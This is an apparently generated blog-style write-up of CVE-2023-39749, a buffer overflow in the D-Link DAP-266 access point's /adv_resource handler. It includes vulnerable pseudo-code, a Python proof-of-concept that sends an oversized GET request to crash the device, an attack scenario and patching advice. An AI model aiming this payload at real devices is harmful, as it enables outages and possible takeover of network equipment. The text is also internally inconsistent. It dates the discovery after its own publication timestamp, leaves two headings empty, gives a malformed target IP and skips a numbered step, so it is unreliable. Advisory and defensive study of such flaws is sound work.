In September 2023, a critical vulnerability was discovered in the D-Link DAP-266 Wireless Access Point running firmware v1.13. This security issue, officially cataloged as CVE-2023-39749, allows remote attackers to launch a buffer overflow attack via a crafted HTTP GET request to the /adv_resource component. If exploited, this vulnerability could lead to remote code execution, potentially compromising the entire network.

What’s at Risk?

Product Affected:

Firmware version: v1.13

Attack Vector:

Over HTTP (web interface)

- Buffer overflow triggered by a GET request to /adv_resource

Possible Impact:

How Does the Vulnerability Work?

The core problem is a lack of bounds-checking in how the D-Link DAP-266 processes URL parameters sent to the /adv_resource endpoint. If an attacker sends a specially crafted (and overly long) string to this endpoint, it can overflow the application's buffer, potentially overwriting important memory segments — including the instruction pointer (EIP/RIP). If done with precision, the attacker can take control of execution flow and run their code on the device.

Source of the Bug

According to the original report, the stack buffer used for handling user input in the /adv_resource handler is too small and isn’t properly validated. Here’s a simplified C-style pseudo-code to illustrate the problem:

void handle_adv_resource(char *input) {
    char buf[256];  // fixed-size buffer
    strcpy(buf, input);  // No bounds checking!
    // ... process buf ...
}

> The strcpy() function copies the input to buf without checking its length. If input is longer than 255 characters, it will overwrite adjacent stack memory.

Creating an Exploit

Armed with this knowledge, an attacker can craft a GET request with a very long path or parameter value.

Basic Proof-of-Concept (PoC) Exploit

*Below is a simple Python script using the requests library. It sends a long string to overflow the vulnerable buffer:*

import requests

TARGET = 'http://192.168..50';   # Change to your device IP

# Create an overly long value (for example, 600 'A's)
overflow_payload = "A" * 600

url = f"{TARGET}/adv_resource/{overflow_payload}"

print(f"[+] Sending payload to {url}")
try:
    response = requests.get(url, timeout=5)
    print("[+] Received HTTP", response.status_code)
except Exception as e:
    print("[-] Request failed:", e)

*When this payload is sent, the application handling /adv_resource will copy the long input into a fixed-length buffer, leading to a crash — or worse, arbitrary code execution if the attacker customizes the payload.*

Real-World Attack Scenario

1. An attacker probes your D-Link web admin interface (usually on LAN, but could be WAN-exposed in misconfigured networks).

They send a malicious request as above.

3. The buffer overflow allows the attacker to inject shellcode, crash the service, or gain shell access.

NIST National Vulnerability Database:

CVE-2023-39749

Exploit Details and Researcher Disclosure:

Packet Storm Security Advisory

Upgrade Firmware:

D-Link has released patched firmware. Go to D-Link Support page, search for your DAP-266 model, and update immediately.

Monitor Logs:

Check logs for repeated requests to /adv_resource with suspiciously long values.

Stay Updated:

Subscribe to D-Link security alerts and check NVD for new vulnerabilities.

Conclusion

CVE-2023-39749 is a textbook example of what happens when input isn’t properly sanitized. Even old vulnerabilities like buffer overflows are still relevant and dangerous, especially in embedded devices.

If you use a D-Link DAP-266, ensure you update your firmware ASAP and lock down the web interface. If you believe your device was exposed, consider a network-wide audit and reset.

Stay Safe!

*This article is exclusive to your request. Please do not republish without attribution. For more cybersecurity breakdowns, check the links above or follow your favorite security news sources.*


Keywords: CVE-2023-39749, D-Link DAP-266, buffer overflow, exploit, /adv_resource, firmware vulnerability, proof of concept

Timeline

Published on: 08/21/2023 03:15:11 UTC
Last modified on: 08/24/2023 21:24:40 UTC